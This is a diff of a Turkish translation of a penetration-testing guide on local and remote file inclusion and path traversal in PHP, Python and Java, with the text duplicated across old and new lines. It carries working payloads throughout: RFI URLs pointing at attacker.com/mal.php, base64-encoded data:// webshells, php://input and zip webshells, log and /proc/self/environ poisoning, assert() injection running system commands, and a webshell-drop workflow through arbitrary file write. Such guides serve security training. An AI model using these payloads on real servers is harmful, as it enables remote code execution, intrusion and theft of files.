- [Litho Temasında Kimlik Doğrulaması Olmadan Rastgele Dosya Silme Açığı](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
|
||||
- [WP Job Portal Eklentisinde Birden Fazla Kritik Açık Yamanmıştır](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
|
||||
- [100k+ Siteyi Etkileyen ASE Eklentisinde Nadir Görülen Yetki Yükseltme Durumu](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/)
|
||||
- [100k+ Siteyi Etkileyen ASE Eklentisinde Nadir Yetki Yükseltme Durumu](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/)
|
||||
- [ASE 7.6.3 değişiklik seti – profil güncellemesinde orijinal rolleri sil](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Dosya Dahil Etme
|
||||
|
||||
**Uzak Dosya Dahil Etme (RFI):** Dosya, uzak bir sunucudan yüklenir (En iyi: Kodu yazabilirsiniz ve sunucu bunu çalıştırır). PHP'de bu **varsayılan olarak devre dışıdır** (**allow_url_include**).\
|
||||
**Uzaktan Dosya Dahil Etme (RFI):** Dosya, uzaktaki bir sunucudan yüklenir (En iyi: Kodu yazabilirsiniz ve sunucu bunu çalıştırır). PHP'de bu **varsayılan olarak devre dışıdır** (**allow_url_include**).\
|
||||
**Yerel Dosya Dahil Etme (LFI):** Sunucu, yerel bir dosyayı yükler.
|
||||
|
||||
Zafiyet, kullanıcının sunucu tarafından yüklenecek dosyayı bir şekilde kontrol edebilmesi durumunda ortaya çıkar.
|
||||
@ -94,12 +94,12 @@ http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||
```bash
|
||||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||||
```
|
||||
3. **Sonuçları Yorumla:** Sunucunun yanıtı, klasörün var olup olmadığını gösterir:
|
||||
3. **Sonuçları Yorumlayın:** Sunucunun yanıtı, klasörün var olup olmadığını gösterir:
|
||||
- **Hata / Çıktı Yok:** `private` klasörü muhtemelen belirtilen konumda mevcut değildir.
|
||||
- **`/etc/passwd` İçeriği:** `private` klasörünün varlığı doğrulanmıştır.
|
||||
4. **Kapsamlı Keşif:** Bulunan klasörler, aynı teknik veya geleneksel Yerel Dosya Dahil Etme (LFI) yöntemleri kullanılarak alt dizinler veya dosyalar için daha fazla araştırılabilir.
|
||||
|
||||
Dosya sistemindeki farklı konumlarda dizinleri keşfetmek için yükü buna göre ayarlayın. Örneğin, `/var/www/` içinde bir `private` dizini olup olmadığını kontrol etmek için (mevcut dizinin derinliği 3 olarak varsayıldığında) şunu kullanın:
|
||||
Dosya sistemindeki farklı konumlarda dizinleri keşfetmek için, yükü buna göre ayarlayın. Örneğin, `/var/www/` içinde bir `private` dizini olup olmadığını kontrol etmek için (mevcut dizinin derinliği 3 olarak varsayıldığında) şunu kullanın:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||
```
|
||||
@ -126,7 +126,7 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
|
||||
Bu senaryolarda, gereken geçiş sayısı yaklaşık 2027 civarında olabilir, ancak bu sayı sunucunun yapılandırmasına bağlı olarak değişebilir.
|
||||
|
||||
- **Nokta Segmentleri ve Ekstra Karakterler Kullanma**: Geçiş dizileri (`../`) ek nokta segmentleri ve karakterlerle birleştirilerek dosya sisteminde gezinmek için kullanılabilir, sunucu tarafından eklenen dizgileri etkili bir şekilde göz ardı eder.
|
||||
- **Gerekli Geçiş Sayısını Belirleme**: Deneme yanılma yoluyla, kök dizine ve ardından `/etc/passwd`'a gitmek için gereken `../` dizilerinin tam sayısını bulmak mümkündür, böylece eklenen dizgiler (örneğin, `.php`) etkisiz hale getirilirken istenen yol (`/etc/passwd`) sağlam kalır.
|
||||
- **Gerekli Geçiş Sayısını Belirleme**: Deneme yanılma yoluyla, kök dizine ve ardından `/etc/passwd`'a gitmek için gereken `../` dizilerinin tam sayısını bulmak mümkündür, böylece eklenen dizgiler (örneğin `.php`) etkisiz hale getirilirken istenen yol (`/etc/passwd`) sağlam kalır.
|
||||
- **Sahte Bir Dizinle Başlama**: Yolu var olmayan bir dizinle (örneğin `a/`) başlatmak yaygın bir uygulamadır. Bu teknik, bir önlem olarak veya sunucunun yol ayrıştırma mantığının gereksinimlerini karşılamak için kullanılır.
|
||||
|
||||
Yol kısaltma teknikleri kullanılırken, sunucunun yol ayrıştırma davranışını ve dosya sistemi yapısını anlamak çok önemlidir. Her senaryo farklı bir yaklaşım gerektirebilir ve en etkili yöntemi bulmak için test yapmak genellikle gereklidir.
|
||||
@ -143,12 +143,12 @@ http://example.com/index.php?page=PhP://filter
|
||||
```
|
||||
## Uzaktan Dosya Dahil Etme
|
||||
|
||||
php'de bu varsayılan olarak devre dışıdır çünkü **`allow_url_include`** **Kapalı.** Bunun çalışması için **Açık** olması gerekir ve bu durumda sunucunuzdan bir PHP dosyası dahil edebilir ve RCE elde edebilirsiniz:
|
||||
PHP'de bu varsayılan olarak devre dışıdır çünkü **`allow_url_include`** **Kapalıdır.** Bunun çalışması için **Açık** olması gerekir ve bu durumda sunucunuzdan bir PHP dosyası dahil edebilir ve RCE elde edebilirsiniz:
|
||||
```python
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
```
|
||||
Eğer bir sebepten dolayı **`allow_url_include`** **Açık** ise, ancak PHP dış web sayfalarına erişimi **filtreliyorsa**, [bu gönderiye](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/) göre, örneğin base64 ile b64 PHP kodunu çözmek ve RCE elde etmek için veri protokolünü kullanabilirsiniz:
|
||||
Eğer bir nedenle **`allow_url_include`** **Açık** ise, ancak PHP dış web sayfalarına erişimi **filtreliyorsa**, [bu gönderiye](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/) göre, örneğin base64 ile bir b64 PHP kodunu çözmek ve RCE elde etmek için veri protokolünü kullanabilirsiniz:
|
||||
```
|
||||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||||
```
|
||||
@ -159,7 +159,7 @@ Başka bir örnek **`php://` protokolünü kullanmayan**:
|
||||
```
|
||||
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
|
||||
```
|
||||
## Python Kök Elemanı
|
||||
## Python Root element
|
||||
|
||||
Python'da bu gibi bir kodda:
|
||||
```python
|
||||
@ -171,13 +171,13 @@ Eğer kullanıcı **`file_name`** için **mutlak bir yol** geçirirse, **önceki
|
||||
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||
'/etc/passwd'
|
||||
```
|
||||
Bu, [belgelere](https://docs.python.org/3.10/library/os.path.html#os.path.join) göre beklenen davranıştır:
|
||||
Belirtilen davranış, [belgelere](https://docs.python.org/3.10/library/os.path.html#os.path.join) göre:
|
||||
|
||||
> Eğer bir bileşen mutlak bir yol ise, tüm önceki bileşenler atılır ve birleştirme mutlak yol bileşeninden devam eder.
|
||||
|
||||
## Java Dizinlerini Listele
|
||||
|
||||
Görünüşe göre Java'da bir Path Traversal varsa ve **bir dosya yerine bir dizin isterseniz**, **dizinin bir listesi döndürülür**. Bu, diğer dillerde (bildiğim kadarıyla) olmayacaktır.
|
||||
Görünüşe göre, Java'da bir Path Traversal varsa ve **bir dosya yerine bir dizin isterseniz**, **dizinin bir listesi döndürülür**. Bu diğer dillerde (bildiğim kadarıyla) olmayacak.
|
||||
|
||||
## En İyi 25 parametre
|
||||
|
||||
@ -213,7 +213,7 @@ Yerel dosya dahil etme (LFI) zafiyetlerine karşı savunmasız olabilecek en iyi
|
||||
|
||||
### php://filter
|
||||
|
||||
PHP filtreleri, veriler **okunmadan veya yazılmadan önce temel değişiklik işlemleri** gerçekleştirmeye olanak tanır. 5 filtre kategorisi vardır:
|
||||
PHP filtreleri, veriler okunmadan veya yazılmadan önce temel **değiştirme işlemleri gerçekleştirmeye** olanak tanır. 5 filtre kategorisi vardır:
|
||||
|
||||
- [String Filters](https://www.php.net/manual/en/filters.string.php):
|
||||
- `string.rot13`
|
||||
@ -226,10 +226,10 @@ PHP filtreleri, veriler **okunmadan veya yazılmadan önce temel değişiklik i
|
||||
- `convert.base64-decode`
|
||||
- `convert.quoted-printable-encode`
|
||||
- `convert.quoted-printable-decode`
|
||||
- `convert.iconv.*` : Farklı bir kodlamaya dönüştürür (`convert.iconv.<input_enc>.<output_enc>`). **Desteklenen tüm kodlamaların listesini** almak için konsolda `iconv -l` komutunu çalıştırın.
|
||||
- `convert.iconv.*` : Farklı bir kodlamaya dönüştürür (`convert.iconv.<input_enc>.<output_enc>`). **Desteklenen tüm kodlamaların listesini** almak için konsolda şunu çalıştırın: `iconv -l`
|
||||
|
||||
> [!WARNING]
|
||||
> `convert.iconv.*` dönüşüm filtresini kötüye kullanarak **rastgele metin** oluşturabilirsiniz, bu da rastgele metin yazmak veya bir işlev gibi dahil etme işlemini rastgele metin yapmak için yararlı olabilir. Daha fazla bilgi için [**LFI2RCE php filtreleri aracılığıyla**](lfi2rce-via-php-filters.md) kontrol edin.
|
||||
> `convert.iconv.*` dönüşüm filtresini kötüye kullanarak **rastgele metin** üretebilirsiniz, bu da rastgele metin yazmak veya bir işlev gibi dahil etme işlemini rastgele metin yapmak için yararlı olabilir. Daha fazla bilgi için [**LFI2RCE php filtreleri aracılığıyla**](lfi2rce-via-php-filters.md) kontrol edin.
|
||||
|
||||
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
||||
- `zlib.deflate`: İçeriği sıkıştırır (çok fazla bilgi sızdırırken yararlıdır)
|
||||
@ -273,7 +273,7 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
||||
|
||||
### php filtrelerini oracle olarak kullanarak rastgele dosyaları okuma
|
||||
|
||||
[**Bu yazıda**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) sunulan bir teknik, sunucudan geri dönen çıktıyı almadan yerel bir dosyayı okumayı öneriyor. Bu teknik, php filtrelerini oracle olarak kullanarak dosyanın **boolean sızdırılması (karakter karakter)** üzerine kuruludur. Bunun nedeni, php filtrelerinin bir metni, php'nin bir istisna fırlatmasını sağlamak için yeterince büyütmek için kullanılabilmesidir.
|
||||
[**Bu yazıda**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) sunulan bir teknik, sunucudan geri dönen çıktıyı almadan yerel bir dosyayı okumayı öneriyor. Bu teknik, php filtrelerini oracle olarak kullanarak dosyanın **boolean sızdırılması (karakter karakter)** üzerine kuruludur. Bunun nedeni, php filtrelerinin bir metni yeterince büyütmek için kullanılabilmesidir, böylece php bir istisna fırlatır.
|
||||
|
||||
Orijinal yazıda tekniğin detaylı bir açıklamasını bulabilirsiniz, ancak burada hızlı bir özet:
|
||||
|
||||
@ -281,13 +281,13 @@ Orijinal yazıda tekniğin detaylı bir açıklamasını bulabilirsiniz, ancak b
|
||||
- Bu, **ilk harf doğru tahmin edildiğinde o kadar büyük bir metin oluşturmak için** kullanılacak ki php bir **hata** tetikleyecektir.
|
||||
- **dechunk** filtresi, **ilk karakter bir onaltılık değilse her şeyi kaldıracaktır**, böylece ilk karakterin onaltılık olup olmadığını bilebiliriz.
|
||||
- Bu, önceki ile birleştirildiğinde (ve tahmin edilen harfe bağlı diğer filtrelerle), metnin başındaki bir harfi tahmin etmemizi sağlayacaktır; çünkü yeterince dönüşüm yaptığımızda artık bir onaltılık karakter olmaktan çıkacaktır. Çünkü eğer onaltılık ise, dechunk onu silmeyecek ve başlangıç bombası php hatasını tetikleyecektir.
|
||||
- **convert.iconv.UNICODE.CP930** codec'i her harfi bir sonrakine dönüştürür (bu codec'ten sonra: a -> b). Bu, örneğin ilk harfin `a` olup olmadığını keşfetmemizi sağlar; çünkü bu codec'i 6 kez uygularsak a->b->c->d->e->f->g harfi artık bir onaltılık karakter değildir, bu nedenle dechunk onu silmez ve php hatası başlangıç bombası ile tetiklenir.
|
||||
- **convert.iconv.UNICODE.CP930** codec'i her harfi bir sonrakine dönüştürür (bu codec'ten sonra: a -> b). Bu, örneğin ilk harfin `a` olup olmadığını keşfetmemizi sağlar; çünkü bu codec'i 6 kez uyguladığımızda a->b->c->d->e->f->g harfi artık bir onaltılık karakter değildir, bu nedenle dechunk onu silmez ve php hatası başlangıç bombası ile tetiklenir.
|
||||
- Başlangıçta **rot13** gibi diğer dönüşümler kullanarak n, o, p, q, r gibi diğer karakterleri sızdırmak mümkündür (ve diğer codec'ler, diğer harfleri onaltılık aralığına taşımak için kullanılabilir).
|
||||
- İlk karakter bir sayı olduğunda, bunu base64 kodlaması yapmak ve sayıyı sızdırmak için ilk 2 harfi sızdırmak gerekir.
|
||||
- İlk karakter bir sayı olduğunda, bunu base64 ile kodlamak ve sayıyı sızdırmak için ilk 2 harfi sızdırmak gerekir.
|
||||
- Son sorun, **ilk harften daha fazlasını nasıl sızdıracağınızı** görmektir. **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** gibi sıralı bellek filtreleri kullanarak karakterlerin sırasını değiştirmek ve metnin ilk konumuna diğer harfleri almak mümkündür.
|
||||
- Ve **daha fazla veri** elde edebilmek için fikir, **başlangıçta 2 bayt çöp verisi oluşturmak** ve **convert.iconv.UTF16.UTF16** ile uygulamak, ardından **UCS-4LE** ile bunu **sonraki 2 baytla pivotlamak** ve **çöp veriye kadar veriyi silmek** (bu, başlangıç metninin ilk 2 baytını kaldıracaktır). İstenilen bit sızdırılana kadar bunu yapmaya devam edin.
|
||||
- Ve **daha fazla veri** elde edebilmek için, **başlangıçta 2 bayt çöp verisi oluşturma** fikri vardır; **convert.iconv.UTF16.UTF16** ile, bunu **sonraki 2 bayt ile pivotlamak için UCS-4LE** uygulamak ve **çöp veriye kadar veriyi silmek** (bu, başlangıç metninin ilk 2 baytını kaldıracaktır). İstenilen bit sızdırılana kadar bunu yapmaya devam edin.
|
||||
|
||||
Yazıda bunu otomatik olarak gerçekleştiren bir araç da sızdırıldı: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
Yazıda bunu otomatik olarak gerçekleştiren bir araç da sızdırılmıştır: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
|
||||
### php://fd
|
||||
|
||||
@ -300,7 +300,7 @@ $myfile = fopen("/etc/passwd", "r");
|
||||
|
||||
### zip:// ve rar://
|
||||
|
||||
İçinde bir PHPShell bulunan bir Zip veya Rar dosyası yükleyin ve erişin.\
|
||||
İçinde bir PHPShell bulunan bir Zip veya Rar dosyası yükleyin ve buna erişin.\
|
||||
Rar protokolünü kötüye kullanabilmek için **özellikle etkinleştirilmesi gerekir**.
|
||||
```bash
|
||||
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
||||
@ -343,7 +343,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system
|
||||
```
|
||||
### phar://
|
||||
|
||||
Bir `.phar` dosyası, bir web uygulaması `include` gibi dosya yükleme fonksiyonlarını kullandığında PHP kodu çalıştırmak için kullanılabilir. Aşağıda verilen PHP kodu, bir `.phar` dosyasının oluşturulmasını göstermektedir:
|
||||
Bir `.phar` dosyası, bir web uygulaması dosya yükleme için `include` gibi fonksiyonlar kullandığında PHP kodu çalıştırmak için kullanılabilir. Aşağıda verilen PHP kodu parçası, bir `.phar` dosyasının oluşturulmasını göstermektedir:
|
||||
```php
|
||||
<?php
|
||||
$phar = new Phar('test.phar');
|
||||
@ -356,11 +356,11 @@ $phar->stopBuffering();
|
||||
```bash
|
||||
php --define phar.readonly=0 create_path.php
|
||||
```
|
||||
Yürütme sırasında, `test.phar` adında bir dosya oluşturulacak ve bu, Yerel Dosya Dahil Etme (LFI) zafiyetlerini istismar etmek için kullanılabilir.
|
||||
Yürütme sırasında, `test.phar` adında bir dosya oluşturulacak ve bu, Yerel Dosya Dahil Etme (LFI) açıklarını istismar etmek için kullanılabilir.
|
||||
|
||||
LFI yalnızca dosya okumakla sınırlıysa ve içindeki PHP kodunu çalıştırmıyorsa, `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, veya `filesize()` gibi fonksiyonlar aracılığıyla bir deserialization zafiyetinin istismar edilmesi denenebilir. Bu zafiyet, `phar` protokolü kullanılarak dosyaların okunmasıyla ilişkilidir.
|
||||
LFI yalnızca dosya okumakla sınırlıysa ve içindeki PHP kodunu çalıştırmıyorsa, `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, veya `filesize()` gibi fonksiyonlar aracılığıyla bir deserialization açığını istismar etme girişiminde bulunulabilir. Bu açık, `phar` protokolü kullanılarak dosyaların okunmasıyla ilişkilidir.
|
||||
|
||||
`.phar` dosyaları bağlamında deserialization zafiyetlerini istismar etmeye dair detaylı bir anlayış için aşağıda bağlantısı verilen belgeye bakın:
|
||||
`.phar` dosyaları bağlamında deserialization açıklarını istismar etme hakkında detaylı bilgi için aşağıdaki belgede belirtilene bakın:
|
||||
|
||||
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
|
||||
|
||||
@ -370,15 +370,15 @@ phar-deserialization.md
|
||||
|
||||
### CVE-2024-2961
|
||||
|
||||
**php filtrelerini destekleyen herhangi bir rastgele dosyanın okunması** istismar edilerek RCE elde etmek mümkündü. Detaylı açıklama [**bu yazıda bulunabilir**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Çok hızlı bir özet: PHP yığınında **3 baytlık bir taşma** istismar edilerek **belirli boyutlardaki serbest parçaların zinciri** değiştirildi ve böylece **herhangi bir adrese yazma** imkanı sağlandı, bu nedenle **`system`** çağrısı yapmak için bir hook eklendi.\
|
||||
Daha fazla php filtresi istismar edilerek belirli boyutlarda parçalar tahsis etmek mümkündü.
|
||||
**PHP filtrelerini destekleyen herhangi bir rastgele dosya okuma** istismar edilerek RCE elde etmek mümkündü. Detaylı açıklama [**bu yazıda bulunabilir**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Çok hızlı bir özet: PHP yığınında **3 baytlık bir taşma** istismar edilerek **belirli boyutlardaki serbest parçaların zinciri** değiştirildi ve böylece **herhangi bir adrese herhangi bir şey yazma** imkanı sağlandı, bu nedenle **`system`** çağrısı yapmak için bir hook eklendi.\
|
||||
Daha fazla PHP filtresi istismar edilerek belirli boyutlarda parçalar tahsis etmek mümkündü.
|
||||
|
||||
### Daha Fazla Protokol
|
||||
|
||||
Buraya dahil edilebilecek daha fazla [**protokolü kontrol edin**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Belleğe veya geçici bir dosyaya yazma (bu dosya dahil etme saldırısında nasıl faydalı olabileceğinden emin değilim)
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Belleğe veya geçici bir dosyaya yazma (bu, bir dosya dahil etme saldırısında nasıl faydalı olabileceğinden emin değilim)
|
||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Yerel dosya sistemine erişim
|
||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(s) URL'lerine erişim
|
||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(s) URL'lerine erişim
|
||||
@ -395,28 +395,28 @@ PHP'deki Yerel Dosya Dahil Etme (LFI) riskleri, dizeler içinde kod çalıştır
|
||||
```bash
|
||||
assert("strpos('$file', '..') === false") or die("");
|
||||
```
|
||||
Bu, geçişi durdurmayı amaçlasa da, istemeden kod enjeksiyonu için bir vektör oluşturur. Dosya içeriklerini okumak için bunu istismar etmek üzere bir saldırgan şunları kullanabilir:
|
||||
Bu, geçişi durdurmayı amaçlasa da, istemeden kod enjeksiyonu için bir vektör oluşturur. Dosya içeriklerini okumak için bunu istismar etmek isteyen bir saldırgan şunları kullanabilir:
|
||||
```plaintext
|
||||
' and die(highlight_file('/etc/passwd')) or '
|
||||
```
|
||||
Benzer şekilde, rastgele sistem komutları çalıştırmak için şunlar kullanılabilir:
|
||||
Benzer şekilde, rastgele sistem komutları yürütmek için şunlar kullanılabilir:
|
||||
```plaintext
|
||||
' and die(system("id")) or '
|
||||
```
|
||||
**Bu yükleri URL-encode etmek önemlidir.**
|
||||
Önemli olan **bu yükleri URL-encode etmek**.
|
||||
|
||||
## PHP Blind Path Traversal
|
||||
|
||||
> [!WARNING]
|
||||
> Bu teknik, bir **PHP fonksiyonu** tarafından **bir dosyaya erişilecek** **dosya yolunu** **kontrol ettiğiniz** durumlarda geçerlidir, ancak dosyanın içeriğini göremezsiniz (örneğin, **`file()`** fonksiyonuna basit bir çağrı gibi) ama içerik gösterilmez.
|
||||
> Bu teknik, **bir PHP fonksiyonunun** **dosya yolunu** **kontrol ettiğiniz** durumlarda geçerlidir; bu fonksiyon bir **dosyaya erişecek** ancak dosyanın içeriğini göremeyeceksiniz (örneğin, **`file()`** fonksiyonuna basit bir çağrı gibi) ama içerik gösterilmeyecek.
|
||||
|
||||
[**bu inanılmaz yazıda**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) bir kör yol geçişinin PHP filtresi aracılığıyla nasıl kötüye kullanılabileceği ve **bir hata oracle'ı aracılığıyla bir dosyanın içeriğinin nasıl dışa aktarılabileceği** açıklanmaktadır.
|
||||
[**bu inanılmaz yazıda**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) bir kör yol geçişinin PHP filtresi aracılığıyla **bir hata oracle'ı üzerinden bir dosyanın içeriğini dışarıya sızdırmak için nasıl kötüye kullanılabileceği** açıklanmaktadır.
|
||||
|
||||
Özetle, teknik, bir dosyanın içeriğini o kadar **büyük** yapmak için **"UCS-4LE" kodlamasını** kullanmaktadır ki, dosyayı açan **PHP fonksiyonu** bir **hata** tetikleyecektir.
|
||||
|
||||
Daha sonra, ilk karakteri sızdırmak için filtre **`dechunk`** kullanılır ve **base64** veya **rot13** gibi diğer filtrelerle birlikte kullanılır ve nihayetinde **convert.iconv.UCS-4.UCS-4LE** ve **convert.iconv.UTF16.UTF-16BE** filtreleri **diğer karakterleri başa yerleştirmek ve sızdırmak için** kullanılır.
|
||||
Sonra, ilk karakteri sızdırmak için filtre **`dechunk`** kullanılır ve diğerleriyle birlikte **base64** veya **rot13** gibi filtreler kullanılır ve nihayetinde **convert.iconv.UCS-4.UCS-4LE** ve **convert.iconv.UTF16.UTF-16BE** filtreleri **diğer karakterleri başa yerleştirmek ve sızdırmak için** kullanılır.
|
||||
|
||||
**Zayıf olabilecek fonksiyonlar**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (sadece hedef okuma için bunu kullanın)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
**Zayıf olabilecek fonksiyonlar**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (sadece hedefi yalnızca bu ile okuyun)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
|
||||
Teknik detaylar için belirtilen yazıya bakın!
|
||||
|
||||
@ -424,10 +424,10 @@ Teknik detaylar için belirtilen yazıya bakın!
|
||||
|
||||
### Yol Geçişi ile Rastgele Dosya Yazma (Webshell RCE)
|
||||
|
||||
Sunucu tarafı kodu, dosyaları alırken/yüklerken, hedef yolu kullanıcı kontrolündeki verileri (örneğin, bir dosya adı veya URL) kullanarak oluşturduğunda, bunu kanonize etmeden ve doğrulamadan yaparsa, `..` segmentleri ve mutlak yollar, hedef dizinden çıkabilir ve rastgele bir dosya yazımına neden olabilir. Yükü web'e açık bir dizine yerleştirebilirseniz, genellikle bir webshell bırakarak kimlik doğrulaması gerektirmeyen RCE elde edersiniz.
|
||||
Sunucu tarafı kodu, kullanıcı kontrolündeki verileri (örneğin, bir dosya adı veya URL) kullanarak hedef yolu oluşturduğunda ve bunu kanonize etmeden ve doğrulamadan yaparsa, `..` segmentleri ve mutlak yollar, hedef dizinden çıkabilir ve rastgele bir dosya yazma işlemi gerçekleştirebilir. Yükü web'e açık bir dizine yerleştirebilirseniz, genellikle bir webshell bırakarak kimlik doğrulaması gerektirmeyen RCE elde edersiniz.
|
||||
|
||||
Tipik istismar iş akışı:
|
||||
- Bir yol/dosya adı kabul eden ve içeriği diske yazan bir uç noktada veya arka planda çalışan bir işçi içinde bir yazma ilkesini tanımlayın (örneğin, mesaj odaklı alım, XML/JSON komut işleyicileri, ZIP çıkarıcıları vb.).
|
||||
- Bir yol/dosya adı kabul eden ve içeriği diske yazan bir uç noktada veya arka planda çalışan bir işte yazma ilkesini belirleyin (örneğin, mesaj odaklı alma, XML/JSON komut işleyicileri, ZIP çıkarıcıları vb.).
|
||||
- Web'e açık dizinleri belirleyin. Yaygın örnekler:
|
||||
- Apache/PHP: `/var/www/html/`
|
||||
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → `shell.jsp` bırakın
|
||||
@ -437,7 +437,7 @@ Tipik istismar iş akışı:
|
||||
|
||||
Notlar:
|
||||
- Yazma işlemini gerçekleştiren zayıf hizmet, HTTP dışındaki bir portta dinleyebilir (örneğin, TCP 4004'te bir JMF XML dinleyicisi). Ana web portalı (farklı port) daha sonra yükünüzü sunacaktır.
|
||||
- Java yığınlarında, bu dosya yazımları genellikle basit `File`/`Paths` birleştirmesi ile uygulanır. Kanonizasyon/izin listesi eksikliği temel hatadır.
|
||||
- Java yığınlarında, bu dosya yazma işlemleri genellikle basit `File`/`Paths` birleştirmesi ile uygulanır. Kanonizasyon/izin listesi eksikliği temel hatadır.
|
||||
|
||||
Genel XML/JMF tarzı örnek (ürün şemaları değişir – DOCTYPE/gövde sarmalayıcı geçiş için alakasızdır):
|
||||
```xml
|
||||
@ -479,7 +479,7 @@ Eğer Apache veya Nginx sunucusu **LFI'ye karşı savunmasızsa** dahil etme iş
|
||||
> [!WARNING]
|
||||
> **Shell için çift tırnak** kullanıyorsanız, **basit tırnaklar** yerine, çift tırnaklar "_**quote;**_" dizesi için değiştirilecektir, **PHP burada bir hata verecektir** ve **başka hiçbir şey çalıştırılmayacaktır**.
|
||||
>
|
||||
> Ayrıca, **payload'ı doğru yazdığınızdan emin olun** yoksa PHP her log dosyasını yüklemeye çalıştığında hata verecektir ve ikinci bir fırsatınız olmayacaktır.
|
||||
> Ayrıca, **payload'ı doğru yazdığınızdan emin olun** yoksa PHP, günlük dosyasını yüklemeye çalıştığında her seferinde hata verecektir ve ikinci bir fırsatınız olmayacaktır.
|
||||
|
||||
Bu, diğer günlüklerde de yapılabilir ama **dikkatli olun,** günlüklerdeki kod URL kodlanmış olabilir ve bu Shell'i bozabilir. **"basic"** yetkilendirme başlığı, Base64'te "kullanıcı:şifre" içerir ve günlüklerde çözülür. PHPShell bu başlık içine yerleştirilebilir.\
|
||||
Diğer olası günlük yolları:
|
||||
@ -500,25 +500,25 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
|
||||
|
||||
**Bir e-posta gönderin** iç hesap (user@localhost) PHP yüklemenizi içeren `<?php echo system($_REQUEST["cmd"]); ?>` ve kullanıcı e-postasına **`/var/mail/<USERNAME>`** veya **`/var/spool/mail/<USERNAME>`** gibi bir yol ile dahil etmeye çalışın.
|
||||
|
||||
### /proc/\*/fd/\* üzerinden
|
||||
### /proc/\*/fd/\* ile
|
||||
|
||||
1. Birçok shell yükleyin (örneğin: 100)
|
||||
2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) dahil edin, burada $PID = sürecin PID'si (brute force ile bulunabilir) ve $FD dosya tanımlayıcısıdır (brute force ile bulunabilir).
|
||||
2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) adresini dahil edin, burada $PID = sürecin PID'si (brute force ile bulunabilir) ve $FD dosya tanımlayıcısıdır (brute force ile bulunabilir).
|
||||
|
||||
### /proc/self/environ üzerinden
|
||||
### /proc/self/environ ile
|
||||
|
||||
Bir log dosyası gibi, yüklemeyi User-Agent içinde gönderin, bu /proc/self/environ dosyasında yansıtılacaktır.
|
||||
Bir log dosyası gibi, yüklemeyi User-Agent içinde gönderin, bu /proc/self/environ dosyası içinde yansıtılacaktır.
|
||||
```
|
||||
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
||||
User-Agent: <?=phpinfo(); ?>
|
||||
```
|
||||
### Yükleme yoluyla
|
||||
### Via upload
|
||||
|
||||
